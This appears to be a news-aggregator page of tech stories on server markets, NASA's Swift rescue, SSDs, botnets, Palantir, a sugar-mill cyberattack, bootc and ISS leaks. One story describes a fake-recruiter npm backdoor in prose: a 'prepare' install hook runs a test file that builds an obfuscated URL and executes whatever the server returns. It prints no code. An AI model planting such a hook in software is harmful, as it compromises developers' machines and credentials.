Join our Folding@Home team:
Main F@H site
Our team page
Support us: Subscribe Here
and buy SoylentNews Swag
We always have a place for talented people, visit the Get Involved section on the wiki to see how you can make SoylentNews better.
Demand for AI systems plus the shortage of DRAM and NAND are shaping the global market:
Servers employing x86 chips from AMD and Intel now account for little more than half of server revenue, according to the latest figures from IDC.
In its Worldwide Quarterly Server Tracker for Q1 2026, the analyst firm says that non-x86 server revenue hit $58.7 billion, representing a startling increase of 107 percent over the same period last year.
The results mean that those non-x86 servers make up 47.9 percent of the market revenue, closing in rapidly on the amount of cash spent on x86 boxes.
The growth in non-x86 turnover is likely thanks to systems powered by Nvidia's AI chips featuring Arm cores. Although there is high demand for these, they also cost a pretty packet compared to an average datacenter box.
In fact, IDC noted a stark divide shaping the worldwide server market, which reached $122.6 billion in vendor revenue during this period, a 30.4 percent increase year-on-year.
On the one hand, AI infrastructure investment from hyperscalers and large cloud providers is "running at a scale that shows no sign of plateauing," while everything else - the non-accelerated segment - faces a supply-constrained environment, thanks largely to that AI infrastructure spending.
As Reg readers will know, memory chipmakers are prioritizing manufacturing capacity for higher margin products for AI servers and GPUs, starving the rest of the market of supply.
Component availability, particularly DRAM and NAND flash, is limiting near-term shipment volumes from vendors, IDC says, though order pipelines are strong. Supply of the right chips is therefore the chief limiting factor on server market growth.
Revenue for x86 servers still reached $63.9 billion, but this was a decline of 2.9 percent due to those component supply constraints impacting shipment volumes.
GPU accelerated servers pulled in $68.9 billion for the vendors, up nearly 25 percent year-on-year, while other accelerated servers surged a massive 122 percent to $17.7 billion. The latter category represents AI systems configured with FPGAs or ASICs rather than GPUs.
IDC's spin on the data is that AI infrastructure adoption is no longer limited to hyperscalers, thanks to developments such as government-led sovereign AI initiatives, while the non-accelerated segment tells a more nuanced story.
Although revenue here declined, underlying demand remains strong, but many enterprise customers are holding out against elevated component prices.
"Companies aren't pulling back from infrastructure investment; they're just not getting servers as fast as they need them. Longer term, emerging workloads, including agentic applications and physical AI ecosystems, will keep demand elevated well beyond the current cycle," commented IDC research director Juan Seminara.
The firm says it expects to see supply normalization beginning in 2027, with capacity relief coming as chipmakers bring new fabrication plants online.
Across the last two decades, non-x86 servers accounted for less than ten percent of revenue, and most of that went to IBM which emerged as the last vendor of proprietary servers as Oracle lost interest in Sun and the likes of HPE decided they couldn't sustain businesses built on exotic architectures.
"I consider this a success already, just from the fact that we're even going to try this." :
Just 10 months ago, NASA asked three companies if they could do something nobody had done before. Could they build and launch a satellite to save a $500 million astronomy mission at risk of crashing back to Earth? What's more, could they do it in less than a year on a tight budget?
Katalyst Space Technologies, a startup founded in 2020, presented the most compelling solution. "They came back with a response that was technically and programmatically plausible, and then we were like, 'Yeah, let's do it,'" said Shawn Domagal-Goldman, director of NASA's astrophysics division.
That was in August of last year. In September, NASA awarded Katalyst a $30 million contract to build, test, and launch a small satellite to chase down Swift and latch onto it with three robotic arms. Then, Katalyst's Link servicing spacecraft will boost Swift's orbit back to a safe operating altitude, allowing it to resume scientific observations. Easier said than done.
The Swift observatory is flying in low-Earth orbit, where the outermost layers of the atmosphere still exert some aerodynamic influence on satellites. The spacecraft launched in November 2004 on a mission to detect gamma-ray bursts, the most powerful explosions in the known Universe. Despite its age, astrophysicists still rely on Swift's multi-wavelength instruments to identify and locate gamma-ray bursts for follow-up observations by other observatories.
But there's a hitch. Swift lacks any thrusters to maintain its orbit, so aerodynamic drag has gradually caused its altitude to decay. The observatory launched into an orbit roughly 363 miles (585 km) above the Earth. As of Thursday, Swift was flying at 225 miles (363 km). The decay rate will increase as the spacecraft dips into denser layers of the atmosphere until Swift finally burns up during reentry.
Swift is losing altitude faster than anticipated due to a period of extraordinary solar activity in recent years. An active Sun puffs up Earth's atmosphere, creating higher drag for satellites in low-Earth orbit. Satellites and space debris routinely reenter the atmosphere, and most of Swift is likely to burn up before it falls to Earth's surface.
"But this was not just any spacecraft," Domagal-Goldman said. "This is an observatory with unique capabilities for astrophysics, similar to what its name would imply. It is a swift observatory that can quickly pivot across the night sky to find things that go boom in the night ... So we decided, yeah, we want to go save this one, this time, because of how special it is. But then we had a different challenge of time was running out."
[...] "We didn't send out a solicitation because we didn't have time to," Domagal-Goldman told Ars. "Normally, that's what we would do, but those solicitations take time for the respondents to respond and for us to review them. Instead, what we did was we looked at who we had on contract already to do technology development, and we asked three teams that were on contract to do a study for what they could do."
Katalyst was already working on a commercial demonstration mission for its Link servicing platform. Upon its selection by NASA for the Swift rescue mission, Katalyst quickly pivoted that private investment to meet the agency's need.
In order to do that, the company's leaders knew they had to accept some additional risk. Katalyst quickly put out orders to suppliers for all the parts required to assemble the Link spacecraft. In some cases, Katalyst found their suppliers couldn't deliver in time, and they decided to build parts themselves. Engineers also streamlined the Link spacecraft's test campaign to meet NASA's deadline.
"We're in an unusual situation where the schedule dictates how much risk we're willing to accept, rather than the other way around," said Kieran Wilson, Link's principal investigator at Katalyst. "The clock is ticking on Swift's descent, so we have to find a balance between testing and problem solving that gives the mission the best chance of success."
Link is just the second space mission developed by Katalyst after a technology demonstration launched in 2024 by Atomos Space, a company Katalyst acquired last year.
[...] Whatever happens after Link's launch, NASA and its partners believe they've written a new template for how to do a responsive space mission.
"Some would call it the first of its kind, a robotic spacecraft that can go and capture an unprepared satellite," said Robert Lamontagne, vice president for strategic partnerships at Katalyst. "It's a commercial mission, first and foremost. It's doing an operational, real-world objective. It's not just a demonstration, and we're doing this as a service ... This is really a blueprint for commercial and government partnerships."
"From a programmatics standpoint, I consider this a success already, just from the fact that we're even going to try this," Domagal-Goldman said.
25X More Than The Drive's Endurance Rating:
Everything in life has an expiry date, and that holds true even for the best SSDs on the market. A fascinating experiment conducted by the YouTube channel WolfyTech shows that SSDs are more durable than we think, even if they were released 16 years ago.
Over the course of the experiment, the channel wrote one petabyte of data to the drive, and the SSD, despite having over 60,000 hours of power-on time, continues to function and shows no signs of catastrophic failure.
The NAND in SSDs gradually degrades over time as you write or erase data, similar to the wear and tear your car or virtually any other electronic device in your house experiences. Just as cars come with a manufacturer's warranty defined by either years of use or a certain number of miles, whichever comes first, SSDs also come with a warranty defined by either years of use or a metric known as TBW (Terabytes Written).
However, there is a common misconception that when SSD exceeds its TBW rating, it will immediately stop working or become unusable. In reality, the TBW value is simply a guideline that manufacturers establish for warranty coverage. The statistical-based rating is not a definitive indicator of when the drive will fail. Contrary to popular belief, chipmakers don't program NAND to self-destruct when it surpasses the TBW threshold.
To revisit the car analogy, just as a car can run fine beyond 100,000 miles, an SSD can continue to function after exceeding its TBW rating. However, just as older cars may require more frequent maintenance and become less predictable over time, SSDs that surpass their TBW threshold may gradually become less reliable. This is due to the physical wear that accumulates in the drive’s NAND flash memory cells through repeated Program/Erase (P/E) cycles.
Information on the P4 is slim, given that it was released more than a decade and a half ago. Nonetheless, we dug up an old specification sheet showing that the P4 64GB, the model used in WolfyTech's experiment, has a 40 TBW endurance. Therefore, 1 PB or 1,000 TB of written data exceeds the TBW by 25X. The drive also logged over 60,000 power-on hours and over 1,100 power-ups. It would seem that the user created a workload that kept making cached writes to the SSD.
This isn’t the first time we’ve seen an SSD outlive the manufacturer's specified TBW limit. If you look online, you'll find many SSD endurance tests that challenge the conservative TBW numbers that vendor slap on their products. However, this particular case was pretty interesting, given that it was on an older drive with MLC NAND that has since disappeared from the market.
Even though your SSD will likely have a longer lifespan than its TBW rating, it doesn't mean you should carelessly push your SSD to its breaking point. On the contrary, given the current market situation, you should be taking extra good care of your SSD.
I'm sorry, Dave. I can't install that repo that will totally hose your system:
Python developer Roman Imankulov nearly took the bait. The fact that he didn't can be chalked up to human intuition and AI code vetting.
A person claiming to be a recruiter from a small crypto startup got in touch through LinkedIn, looking for help with what she described as proof-of-concept code that didn't work. The company, she explained, needed a lead engineer.
As Imankulov described the exchange in a blog post, the recruiter asked him to look into an issue with a deprecated Node module. Something about the request seemed off.
"I'd heard, as probably all of us have, about those types of attacks," Imankulov explained in a phone interview. "And I was like, 'what if this could be I could be the target?' It was just based on the past experience that I had."
So he took the unusual step of spinning up a VPS on Hetzner where he cloned the repo. He then used his Pi coding agent (running Codex) to conduct a read-only analysis of the code.
"I ran an agent to test how it worked, and I was almost certain that it would return to me 'everything is clear, the code is ugly but in general it's safe to run and just go ahead and perform your review,'" he explained. "To my surprise, almost immediately the agent returned a response like, 'Don't run this code, just walk away because there's a trap.'"
The AI model had flagged one of the files, app/test/index.js.
The file contained a backdoor. It took the form of a server URL, fragmented to look like a test suite configuration, and a network request that will run anything the server sends in response to the request.
Imankulov credited his AI agent with catching details that he had missed.
"I opened this code myself and I skimmed through this code and it looked to me like just, you know, a regular sloppy file written by a sloppy developer," he said. "So I just scroll down, [thinking] 'Yeah, yeah, it's awful, but you know if they can pay me to fix this code, I don't mind.' But the agent in the very same file found the exact vulnerability that I overlooked."
Just installing the repo using npm would have been sufficient to trigger the backdoor. The repo's package.json file contained a "prepare" post-installation hook designed to run the script following the installation process.
The referenced malicious repo is no longer accessible – presumably GitHub removed it in response to Imankulov's complaint – but a clone can still be found.
"What makes this attack insidious is how it hijacks standard developer workflows," explained Devashri Datta, independent open source and security architect, in an email to The Register. "The adversary didn't rely on the target executing a suspicious binary; they relied on the target running a routine command: npm install.
"By burying the execution logic inside the prepare lifecycle hook within package.json, the malicious payload triggers automatically during dependency resolution. This isn't a novel technique, but it remains highly effective precisely because developers run npm install on autopilot. The string fragmentation used to assemble the malicious URL, piecing together a domain from small constants, was deliberate obfuscation designed to defeat static analysis tools that scan for hardcoded indicators of compromise."
Imankulov said that the commits in the malicious repo appeared to be the work of a developer with an established web presence and body of work. But when he contacted the supposed author, the dev said he had been impersonated on GitHub more than once and didn't write that code.
The recruiter's LinkedIn profile referenced a real arts journalist, though Imankulov believes the associated profile was faked. His online interactions with the recruiter suggested a level of technical knowledge not evident in her work history.
[...] "Historically, the guidance was to sandbox untrusted code or review it manually," she said. "Here, Roman deployed a local AI agent in a constrained, read-only environment to analyze the codebase before executing anything. This is a useful counterpoint to the dominant narrative around AI as an offensive threat vector. Used defensively at the developer endpoint, an AI agent isn't susceptible to fatigue or social pressure; it simply surfaces anomalous behavior, such as a test suite initiating an outbound network connection to retrieve unverified code, in seconds."
[...] Datta said the incident underscores why enterprise software supply chain security had to extend beyond the perimeter of the corporate network.
"Attackers are now shifting left all the way to individual engineering endpoints before a single line of code enters the corporate supply chain," she said. "When a developer's local workstation is compromised during what appears to be a routine job interview, that machine frequently holds active SSH keys, cloud provider tokens, and live access to internal repositories."
Proper defense, Datta contends, requires enforcing technical guardrails such as isolated developer containers or secure cloud workstations for evaluating third-party or untrusted code.
"Emerging frameworks are beginning to extend exploitability context down to the workstation layer itself, recognizing that VEX-style signal needs to travel further left than the enterprise SBOM inventory if it is to intercept threats at the point of introduction," she said. ®
'Popa' Botnet Linked to Publicly-Traded Israeli Firm:
For the past four years, a sprawling Android-based botnet called Popa has forced millions of consumer TV boxes to relay Internet traffic linked to advertising fraud, account takeovers, and mass data-scraping efforts. This week, researchers from multiple security firms concluded that the Popa botnet is linked to NetNut, a "residential proxy" provider operated by the publicly-traded Israeli firm Alarum Technologies Ltd [NASDAQ: ALAR].
Popa is a massive botnet, but by all accounts it is unlike traditional botnets that enlist compromised systems in destructive activities, such as coordinating huge distributed denial-of-service attacks. Rather, Popa appears designed with a singular purpose: Implementing a persistent communications layer capable of registering a device, maintaining long-lived encrypted connections, and opening communication tunnels on demand.
Experts say Popa is a plugin component associated with the Vo1d botnet, a large-scale malware campaign targeting unofficial Android-based TV boxes. These devices, which are marketed under thousands of brand names and model numbers and broadly available for purchase at top e-commerce destinations, all advertise the ability to stream hundreds of subscription video services for an up front one-time fee.
But as the FBI and security industry experts have warned repeatedly, these streaming boxes typically bundle or come pre-installed with software that turns the user's TV into a "residential proxy" — allowing anyone to route their Internet traffic through that device for as long as it remains plugged into a wall socket and connected to a local network. More concerning, some of these proxy networks do little to stop malicious customers from communicating with and even compromising systems on the local network of the unsuspecting device owner.
[...] Ninjatech is a company founded by Moishi Kramer, whose LinkedIn profile says he is vice president of research and development at NetNut. That resume credits Kramer for helping NetNut to build from the "ground up," "designing the architecture," and "scaling the NetNut" before the company was acquired by Alarum Technologies. A self-created listing at the job board F6S references Kramer as the sole owner of the Ninjatech domain (a screen capture of it is pictured below).
[...] "I didn't register the June 2025 domains you mention, and I don't know who did," he continued. "I have no control over, or visibility into, that infrastructure. I can only tell you it isn't operated by me or by NetNut."
But in a separate Popa research report released today, the proxy-tracking company Synthient said a recent analysis of the Popa SDK revealed outbound traffic clearly associated with NetNut.
"The research team assesses with high confidence that devices running Popa forward traffic from Netnut clients," Synthient wrote. "This proves without a shadow of a doubt that Popa actively continues to be used by NetNut as part of their proxy pool."
Alarum Technologies, NetNut's Tel Aviv-based parent company, said the reports by Synthient and Qurium contained "demonstrably inaccurate assertions and flawed deductions rather than verified facts." Alarum shared a statement saying they reject the basic characterization of the SDKs and technologies discussed in the reports as a "botnet."
"The SDKs at issue are designed to facilitate bandwidth-sharing functionality and do not transform user devices into malware-controlled systems or otherwise compromise the devices on which they operate," the statement reads. "Netnut operates a commercial proxy network and maintains policies, procedures, and technological measures designed to promote lawful and responsible use of its services."
Alarum said NetNut places "significant emphasis on appropriate notice and consent mechanisms, conducts customer due diligence, monitors for potential misuse, and takes steps intended to detect and mitigate suspicious or unauthorized activity."
[...] "What especially makes Popa dangerous is just how widely used NetNut is for reselling and sharing," Formosa said, explaining that many other proxy services simply resell NetNut proxies rather than building out their own far-flung proxy networks. "So these Popa IPs appear in tons of different services all over the ecosystem, which makes it one of the most problematic and dangerous proxy botnets on the market currently."
Formosa said the Popa botnet averages between 1.5 million to 2.5 million distinct IP addresses each day, relying on between 250 and 300 Internet addresses that are used to direct its activities.
"That's why Popa is so dangerous," Formosa said. "It may not be the largest botnet we have seen, but it is spread all over the industry, making its power very amplified."
[...] Experts say many of the world's largest proxy providers have updated their public-facing branding to highlight their utility for training AI platforms, implying it is a primary use case for their residential proxies. That's because AI services tend to rely on constantly mass-scraping the Internet for new text, images and video content that can be used to train large language models (LLMs).
[...] Even households without these sketchy TV boxes can still have their smart TVs turned into residential proxy nodes, just by downloading one of thousands of apps made available on Samsung and LG smart TVs. Spur said it recently scraped the LG and Samsung app stores and found that each had approximately 3,000 apps available for download. Many of these apps are simple games or utilities that state in the fine print that the user's Internet connection will be used to download data and that they can opt out at any time.
Spur said it found that more than 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one's television into an always-on residential proxy node. More than a quarter of the apps made for Samsung's Tizen operating system had similar residential proxy components, Spur found.
[...] Experts say it's questionable whether TV apps with proxy SDKs can obtain meaningful consent from users for installing an always-on proxy connection, particularly when anyone in a household — including children — can effectively opt the family TV into a residential proxy network just by installing a simple game or app.
"Privacy-policy disclosure is the wrong control surface for a TV," Include Security wrote. "It is hard to scroll through a legal document navigated by arrow keys on a remote, and the in-app consent dialog doesn't convey that a paying customer is about to route their scraping traffic through the user's home internet."
Spur's head of research Sean Simmons told KrebsOnSecurity that most people do not have a working mental model for what it means to sell access to their residential IP address, no matter what device they are using.
"And on a TV, the gap is even wider," Simmons said. "A one-time prompt navigated with a remote can disappear into the setup flow, while the app keeps monetizing the connection long after anyone remembers what they accepted."
Apps that turn one's device into a residential proxy node are not limited to smart TVs and no-name streaming boxes, of course. As noted by the security firm Infoblox, mobile app developers can embed SDKs provided by the residential proxy networks into their products to monetize their software, allowing them to receive a small amount of money on each installation.
The result, Infoblox said, is that devices are frequently enrolled without the owner's knowledge, typically through free applications such as VPNs, streaming apps, screensavers and "productivity" apps such as PDF viewers and break reminders.
All too often, these proxy services are beaconing out from employee devices brought into the workplace, Infoblox found. In a blog post earlier this month, Infoblox said it discovered that fully 65% of its customer base was querying one or more residential proxy related domains.
[...] "If threat actors were to abuse the residential proxy to attack a third party, the third party's incident response would, correctly, identify your residential proxy as the source," they wrote. "Untangling that, by proving that you were the conduit and not the threat actor, costs time, creates legal exposure, and can damage your reputation. The stunning prevalence of these services within customer environments warrants attention from both network defenders and policy makers who should consider how the risks posed by residential proxies could be impacting their security posture."
A 36nm pitch is what Panther Lake ships with, but the 18A process on the whole supports a 32nm minimum metal pitch. With Panter Lake, Intel opted to relax the pitch because routing power through the back of the wafer — via PowerVia — clears the front-side metal stack for signal wiring.
Each of those workarounds obviously adds complexity and cost, with N+3’s ceiling ultimately showing a huge trade-off. The Kirin 9030 Pro's prime core runs at 2.75 GHz and lands near Arm's 2021-era Cortex-X2 per clock, leaving the chip roughly level with Android flagships from three years ago and behind current parts from Apple, Qualcomm, MediaTek, and Samsung. Huawei’s roadmap does say that it’s targeting 5 GHz by 2031, but, as SemiAnalysis notes, that’s “far beyond what planar scaling alone could deliver.”
The company is taking aim at the Ottawa-based TechInsights, which is backed by private equity and held by the likes of Oakley Capital and CVC Growth. SemiAnalysis claims its rival is up for sale and has underinvested in equipment as a result, though that hasn’t been officially confirmed. The teardown also found the Kirin 9030 Pro carrying Samsung LPDDR5X memory, with 16 GB variants turning up DRAM from Chinese maker CXMT as well.
Bruce Schneier wrote an opinion piece in response to the ban on the latest Anthropic AI models Fable and Mythos (with a lot of links for further reading). In it, he argues that banning particular models really does not help the problem, and provides some interesting analogies about how they work. Schneier's thoughts are that the best option forward is to create a public AI model.
Fable requires much less expertise and detailed prompting from the human user. You can give it a difficult goal and it will figure out novel and unexpected ways to satisfy it, finding loopholes in whatever constraints you or the system have imposed on it.
"Relentlessly proactive" is how AI researcher Simon Willison described it. Another descriptor might be "creative." Experienced AI developers have had that combination of creativity and proactivity since last year, but Fable puts it within easy reach of everyone.
In the hands of someone with a legitimate problem that needs solving, that can be an incredibly useful capability. But in the hands of someone who wants to do harm, it can be equally dangerous. AIs don't have a moral compass in the same way that people do. They are agents of the wants and desires of the people who prompt them.
That points to the real problem with relentlessly proactive AI. In language, wants and desires are always underspecified. If I ask you to get me some coffee, you would probably pour me a cup from the coffeepot, or buy one from a nearby coffee shop.
You couldn't buy me a pound of raw beans, or a coffee plantation. You wouldn't order a cup of coffee for delivery next month. You wouldn't find a nearby person, rip a cup of coffee out of their hands, and bring it to me. I wouldn't have to specify any of the million limitations to my request; you would just know.
Nearly a third of NHS trusts using Palantir's health data platform are performing fewer patient procedures than before it went live, according to figures analyzed by campaign group Foxglove.
The research – based on a series of Freedom of Information (FOI) requests – also found that a single body, Chelsea and Westminster Hospital NHS Foundation Trust, accounted for 84 percent of the fall in outpatient waiting lists, while 16 trusts use the tool provided by the US firm.
Palantir won the £330 million contract to provide the NHS Federated Data Platform (FDP), which the UK government said was vital to improving NHS productivity and recovering from the long waiting lists for elective care caused by the COVID-19 pandemic.
Palantir's journey with the NHS began with a £1 award in 2020, which later led to a total of £60 million in contracts awarded without competition during the pandemic.
NHS England, which awarded the contracts, said that as of June, 139 trusts used the FDP, with 137 reporting benefits. An Inpatients Care Co-ordination Solution (CCS) tool based on the platform had resulted in 111,589 additional patients undergoing procedures in operating theatres, it said.
However, data obtained by tech rights campaign group Foxglove found that 41 NHS trusts are using Inpatient CCS, the module for helping hospitals manage operation scheduling, but 13 of them – or about 30 percent – report having carried out fewer operations overall since using the tool.
Staffing shortages, more complex cases, or pressure on hospital bed capacity might explain the fall.
Foxglove said it was the first time that data from individual trusts using FDP had been made publicly available.
The FOI response also shows that, for the Outpatient CCS, a single trust accounted for the vast majority of the benefits. According to NHS figures, Chelsea and Westminster Hospital NHS Foundation Trust accounted for 183,061 of the patients removed from the outpatient waiting list, compared with the total of 217,846.
Foxglove head of strategy Tim Squirrell said: "We now know that the big claim the FDP is delivering more operations for hospitals across the NHS is covering up a much less positive reality – a third of the trusts using the FDP's operations scheduling tool, Inpatient CCS, are actually delivering fewer operations than before they started using Palantir's kit.
"Palantir can't have it both ways. If it expects us to believe that the FDP is responsible for improvements in some hospitals, it must also accept that things are getting worse as a result of its tools in others.
"The data the NHS has seen fit to publish provides no useful comparisons of how things are going at the trusts not using Palantir's tools. So, in effect, we are being asked to back Palantir's FDP is delivering the goods based on faith, rather than hard evidence."
An NHS spokesperson said: "Thousands more patients are benefiting from the NHS Federated Data Platform every month, with more than 110,000 extra patients having undergone procedures in operating theatres, while also reducing the number of unnecessary days patients stay in hospital following treatment by a seventh.
"As NHS organizations expand the use of this technology, we will continue to work with them to ensure they use it to its full extent and get the most out of it for patients."
An official pointed out that trusts have different starting points, at different scales, through locally agreed rollout plans when using the FDP.
In a statement to The Financial Times, Stephen Childs, head of UK health partnerships at Palantir, said the company was working to improve by applying lessons from the trusts that get the best results from its software.
"But we should be clear that the recent history of technology in the NHS has, by the government's own admission, seen us fall behind, exacerbated by various failed programmes, often at great expense to the taxpayer," he said.
"And what these figures show, despite attempts by the campaign group that obtained them to present them otherwise, is that Palantir software is helping to fix this and enable the NHS to deliver better patient care.
"This includes more than 110,000 additional operations to date, a 15 percent reduction in discharge delays for long-stay patients, and a 6.8 percent increase in the number of patients finding out whether they have cancer within 28 days of referral."
The FDP deal has been the subject of frequent criticism in recent months.
Earlier in June, MPs told the government to reduce reliance on the US spy-tech firm, and specifically use a break clause in the FDP contract to end its involvement in the NHS. Instead, the government should "develop an in-house replacement or seek an alternative developed by UK-owned and UK-based providers that are more compatible with UK values, and do not pursue either technical or contractual dependencies," the House of Commons science committee said.
https://www.theregister.com/cyber-crime/2026/06/17/cyberattack-sees-crops-kept-in-the-ground/5256321
A cyberattack on Australia's second-largest sugar producer has forced farmers to keep crops in the ground, and looks like denting their incomes.
Mackay Sugar, based in the Australian state of Queensland, processes sugar cane farmed in nearby districts. The company disclosed a cyberattack on June 10 and limited operations while it dealt with the fallout.
Some operations remain restricted, but the company said on Monday that it managed to perform some manual crushing at its Farleigh Mill site, working with sugar cane that was harvested before the attack.
"Significant progress has been made over the weekend in restoring the systems that support cane supply, harvesting, and mill operations," Mackay Sugar said in a statement.
"Steam trials are now underway, and subject to final validation activities, some harvesting is expected to recommence this week in preparation for the staged restart of crushing operations later this week."
While the company is optimistic it can resume crushing, it's advised growers not to harvest their crops for the time being.
That edict works for Mackay Sugar because sugar producers need to process crops within 48 hours of harvest. Doing so preserves high sugar content and overall yield. Delaying the processing for any longer after harvesting could result in sucrose converting to simple sugars, unwanted fermentation, and lower yields.
But late harvesting can reduce the quality of cane, reducing the price they earn for their crops. Interrupted harvesting also impacts the railways used to move cane from farms to mills.
Mackay Sugar acknowledged the impact its downtime could have on growers and other partners, and committed to restoring systems safely.
"We are communicating directly and regularly with our employees, growers, and key partners," it said. "We recognise the impact this incident is having on our growers, and we are doing everything we can to support them and to safely resume full operations as soon as possible.
"We take our responsibility to protect our systems, operations, and information very seriously. We apologise for any disruption this incident has caused and will continue to provide updates as we continue our investigation."
The company operates three mills across Queensland, two of which were operating at a limited capacity due to the attack.
Its Racecourse Mill, described as the heart of the business and home to its corporate offices, was among those affected. Racecourse Mill typically generates 213,000 tons of raw sugar and 58,000 tons of molasses a year, and the site's cogeneration plant generates 156,000 MWhs of renewable electricity a year, around 71 percent of which is sent back into the national electricity grid.
Mackay's mill in Farleigh, the company's oldest, was also affected. It typically produces around 196,000 tons of raw sugar and 49,000 tons of molasses per year.
The company's largest and most productive factory, Marian Mill, was unscathed.
Cybercrime group The Gentlemen claimed responsibility for the attack on Mackay Sugar, posting the company to its data leak site without offering any details about the attack or whether it stole data to use as leverage for extortion demands.
Cyber threat intelligence professionals have known of the group for almost a year, after spotting it in July 2025 and classifying it as a ransomware-as-a-service provider.
However, there is no evidence that ransomware was used in the attack on Makay Sugar. The company has never mentioned ransomware in its statements, referring to the attack only as a "cyber security incident."
However, The Gentlemen is known for using file-encrypting malware in its double extortion attacks.
The group caught the attention of Microsoft's researchers, who last month published a deep dive into how it carries out attacks.
Microsoft's report noted that not only do The Gentlemen affiliates have access to a powerful file encryptor, but also one that self-propagates, which "increases the likelihood of widespread impact once initial access is achieved."
It has also recently established a partnership with BreachForums, which allows the group to recruit prospective new affiliates with different skillsets, such as penetration testers and initial access brokers.
At Ubuntu Summit 26.04, Red Hat Principal Software Engineer Joseph Marrero Corchado presented a talk called Bootc: Use your container knowledge and infrastructure to build and deploy your Ubuntu hosts. Although Ubuntu is very strong in the desktop Linux space, in large corporate server environments, Ubuntu is just another distro among many. This can be a good thing: it is just another Linux distro, and that means that it's perfectly possible to deploy and manage it using existing FOSS tooling.
Marrero introduced himself by saying that he works at Red Hat, but personally runs Ubuntu – and has been doing so for long enough that he has some original media from Canonical's ShipIt program, which the company discontinued in 2011.
While we were surpised to see a Red Hat engineer presenting a talk at the summit, it's not unprecedented. System76's Pop!_OS distro is based on Ubuntu, but it overlaps with other distros as well. It has its own desktop and eschews Snap for Flatpak – and yet, at the previous Summit, System76 boss Carl Richell presented a talk about it. The year before, the Academy Software Foundation's talk started by telling us that Rocky Linux strongly dominated the SFX industry.
Our plan here isn't to recap the entire talk. It's up on YouTube now [video not reviewed --Ed], and if this is the sort of thing that sounds interesting, it's probably a good use of 42 minutes of your time.
We've mentioned the bootc toolchain a few times on The Register. Back in April 2024, we reported that Fedora 40's immutable editions were being rebuilt as bootable containers. Two years and four more Fedora releases later, the toolchain is getting more mature, as we covered in April with Fedora 44, and we linked to Quentin Joly's explainer, Bootc and OSTree: Modernizing Linux System Deployment, which is still one of the best we've read.
Now bootc has graduated to the point of being a CNCF incubator project. The new project website has a slightly better explanation:
The tools for creating and managing OCI containers are familiar to many sysadmins now, and the idea of bootc is to make it possible to manage complete OS images, either for VMs or for bare metal, using the same tooling.
Marrero explained bootc by saying that it lets you perform OS installations and upgrades with OCI containers, which lets you define and ship your customized images of the Ubuntu OS as OCI container images. This allows transactional in-place updates, with rollback.
This tech is already in real-world public-facing use: SteamOS uses bootc, and he pointed to the Bootcrew project, which maintains a growing collection of bootc images of different OSes, including Ubuntu, SteamOS, openSUSE, and Debian.
What's special about these images is that each one is a container, but with a kernel. So this means that it can run on metal, but you can run (and test) it in continuous integration as well. Ubuntu on bootc is still Ubuntu; it's just a different way to deploy it. Doing it this way is an alternative to Canonical's own Ubuntu-image system, which uses standard Ubuntu and Canonical tools, the apt command, normal repositories, and so on. Instead, bootc uses container tools and container images, and a container registry in place of Ubuntu's apt repositories.
Marrero has his own experimental Ubuntu-bootc image on GitHub, whose description says:
(For the record, bcvk is the bootc virtualization kit, which "helps launch ephemeral VMs from bootc containers, and also create disk images that can be imported into other virtualization frameworks.")
The idea is that this lets you manage and deploy a server, cloud, or desktop OS, along with all its tools and all its applications, from a single central point that you control. This replaces a whole raft of configuration management tools, including local update management, and eliminates the need for tools such as "Puppet, Chef, or shell automation."
The images are constructed using composefs – specifically, the Rust-based composefs-rs – which in turn builds on existing and established Linux tools such as overlayfs, the EROFS read-only filesystem, and fsverity for integrity-checking. He noted that some of Ubuntu's metadata initially stopped composefs from working, but he and the Bootcrew team found it and fixed it.
He also offers an Ubuntu 26.04 LTS with bootc – Getting Started Guide, which "walks you through converting an Ubuntu 26.04 LTS VM into a bootc-managed system using composefs. By the end you will have an immutable, image-based Ubuntu system that can be updated atomically via container images."
He also demonstrated the tech live on stage using a few demonstration images he'd built beforehand.
First, he deployed an empty default Ubuntu installation, with no additional tools. Running it under QEMU took just a couple of seconds. Then, by adding another single-line container file layered on top, he added the tmux terminal multiplexer. He also used wget to demonstrate that no web server was running and the VM didn't respond to HTTP requests, then switched the existing VM to a different image with Apache and a demo page installed, which took only about a second to deploy, followed by a VM reboot. He also demonstrated that it really was Ubuntu, that snapd was present and working, and installed LXD to prove the point.
The "bootable containers" toolchain has visibly matured since we first encountered it, and the demo was quite impressive. This vulture is very happy that he no longer has to run servers for a living, and is positively delighted that he has no use for any of these tools. Even so, it's impressive to see that without all that much work, Ubuntu can be slotted into a very different set of management tools and function quite happily.
https://moultano.wordpress.com/2026/06/19/where-to-find-the-colors-your-screen-cant-show-you/
There are colors that I want to show you, but I can't. They exist in the real world. You probably saw some of them today, but I can't show them to you on a screen. A digital photograph can't capture them, and your screen can't display them. No game you've ever played has contained them. Unless you have specialized equipment, they are entirely absent from the digital world.
Most of them are cyans. On screens we live a life starved of cyans. It is shocking when you see one in person. They seem unfamiliar and intense in an otherworldly way. I want you to experience that, but again, I can't show them to you. Instead, I have to show you how to find them in the real world.
Crew sheltered in SpaceX Dragon as aging Zvezda segment's cracks continue to test orbital nerve:
Russia's space agency Roscosmos intended to cut into part of the International Space Station (ISS) to determine the extent of leaks in the aging structure, according to a space agency source.
The Register was told that discussions involved a handsaw . Other reports have suggested cosmonauts planned to deploy a drill.
Whatever tool was involved, the plan made NASA sufficiently alarmed that the agency sent its astronauts scurrying into the relative safety of a SpaceX Dragon capsule docked at the ISS. Neither NASA nor Roscosmos has commented officially.
Russia's plan was to use the tool to learn more about the extent of the crack. NASA said: "This revised approach involved cutting a bracket to access better an area identified as a possible leak source for further inspection, using a method that could have resulted in elevated risk to the structure in the area."
However, this could have created unpredictable loads on other cracks. Eventually, the plan was called off in favor of more measurements and data gathering.
The SpaceX Crew-12 astronauts and NASA astronaut Chris Williams were forced to shelter in the Crew Dragon spacecraft earlier in June following a sharp increase in the rate of air leakage from the orbiting outpost. The offending area is the Zvezda service module's transfer tunnel, known by the Russian abbreviation PrK.
While more epoxy patches might address the problem in the short term, the fact that additional cracks have appeared suggests issues Zvezda has wider problems. That's not unexpected given the age of the craft, some parts of which date to the 1980s when it was a backup for the Mir space station. Russia launched Zvezda in 2000, so it's now endured decades of stress.
The module has leaked for years. In 2024, ESA astronaut Andreas Mogensen suggested one option for dealing with the cracks was to seal off the module once and for all. He told The Register: "The lucky point is that the cracks are confined to that chamber at the very end. So, as long as Russia is willing to forego that docking port, that wouldn't impact operations too badly."
The crew routinely keeps the hatch to the tunnel closed when not in use, but a more permanent solution might be necessary in light of the ongoing problems.
